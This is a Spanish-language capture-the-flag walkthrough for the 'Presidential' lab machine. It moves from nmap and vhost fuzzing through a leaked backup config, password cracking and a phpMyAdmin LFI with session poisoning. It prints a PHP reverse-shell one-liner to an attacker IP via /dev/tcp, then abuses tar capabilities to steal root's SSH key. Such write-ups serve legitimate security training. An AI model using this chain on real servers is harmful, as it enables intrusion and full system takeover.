Description: The Presidential Elections within the USA are just around the corner (November 2020). One of the political parties is concerned that the other political party is going to perform electoral fraud by hacking into the registration system, and falsifying the votes.
The state of Ontario has therefore asked you (an independent penetration tester) to test the security of their server in order to alleviate any electoral fraud concerns. Your goal is to see if you can gain root access to the server – the state is still developing their registration website but has asked you to test their server security before the website and registration system are launched.
This CTF was created and has been tested with VirtualBox. It should also be compatible with VMWare and is DHCP enabled.
Máquina Presidential
Reconocimiento
- arp scan Realizamos el respectivo escaneo
- nmap Descubrimos los puertos abiertos.
Realizamos el escaneo correspondiente der versiones y scripts básico de nmap.
Enumeración
- Identificamos tecnologías con whatweb y nos percatamos que existe un dominio en particular y utilizan php.
- Configuramos virtual hosting
- Fuzzing
Enumeramos los archivos sin tanto éxito.
- Fuzzing dir virtual hosting , con alguna extensiones comunes, pero con el mismo resultado
El archivo config.php no muestra nada, posiblemente por que lo está interpretando. Si realizamos fuzzeo de virtual hosting usando vhost tendremos varios estados, así que intentaremos filtrar por el estado 200
- fuzzing extensiones. Esta vez realizaremos una búsqueda de extensiones adicional de php.bak , encontrando un recurso importante.
Estas credenciales parecen ser de la ruta de logueo.
Teniendo acceso a esta plataforma enumeramos usuarios y funciones, uno de ellos tenemos unas credenciales
Creamos un archivo y procedemos a crackearlo.
Dejamos un buen tiempo y mostramos nuestra password será Stella. Es necesario indicar que el servicio ssh no permite conexiones por el puerto 2082. Ahora buscaremos una manera de explotar esta plataforma phpMyAdmin según su versión.
- searchsploit
En esta ocasión tenemos un RCE, pero antes debemos saber en donde aplicarlo.
Explotación
LFI
- Buscamos por la web y encontramos 1 recurso adicional que nos indica la ruta igual que el exploit de searchploit.
En tal caso tenemos la siguiente ruta para un LFI. ✔En caso no permita el ? , lo podemos urlencodear %3f. Como se mencionó anteriormente teníamos un script, aquí podemos observar una ruta, la diferencia es que cambiaremos el /sessions/ por /session/ y colocaremos nuestro cookie de sesion.
Intentaremos un LFI en /etc/passwd , siendo exitoso.
Como podemos notar tenemos respuesta usando como parámetro db_sql.php, de esta manera probaremos una inyección de comandos tipo php en una query SQL.
O con un simple hola
- LFI Log poisoning - ruta del script - ID logueo Confirmado que interpreta la query, intentaremos llegar a la dirección completa con nuestro ID nuevamente. Y es aquí donde vemos la respuesta reflejada. De esta manera cuando generemos nuestro RCE solo tendremos que actualizar la web en esta ruta.
RCE - SQL
- RCE Ahora que conocemos el lugar donde ejecutar un comando, intentaremos un RCE. Tener en cuenta que si bien es una query SQL, esta bajo un lenguaje php, debemos tener la sintaxis presente.
1
'<?php system("bash -i >& /dev/tcp/192.168.65.139/1234 0>&1"); ?>';
Luego de mandar el one liner para nuestro reverse shell , ingresamos la dirección del script, en la web.
Actualizamos la web. Esto nos dará la reverse shell.
- Mejorar Por cuestiones de practicidad mejoramos la Terminal
1 2 3 4 5 6
script /dev/null -c bash stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 35 columns 140
Escala Privilegios - Persistencia
- Cuando usamos jhon the ripper para cifrar la password encriptada—- Stella, podemos usarlo aquí, solo quedaría saber que usuario es el correcto.
Enumerando el sistema en busca de permisos suid, sudo, etc y archivos. Encontramos un documento interesante.
Como nos indica en este archivo, buscaremos algo relacionado a un comprimido.
- Capabilities Buscando capabilities encontramos un binario tar.
- cvf El objetivo ahora es crear un comprimido tar, de un archivo o directorio con permisos privilegiados que normalmente no tenemos acceso. Y finalmente intentar acceder a este descomprimiendolo.
Revisamos la carpeta descomprimida
- ssh En un entorno CTF esto sirve, pero para generar una Escalada de privilegios mas real, podemos usar este mismo binario tarS para comprimir solo la key del .ssh y tener acceso por el puerto 2082; o ya con toda la carpeta root/ comprimida, aprovechar en acceder solo a este archivo.
Lo copiamos en nuestra PC atacante
Cambiamos permisos
Ahora si tendremos acceso a todo el sistema.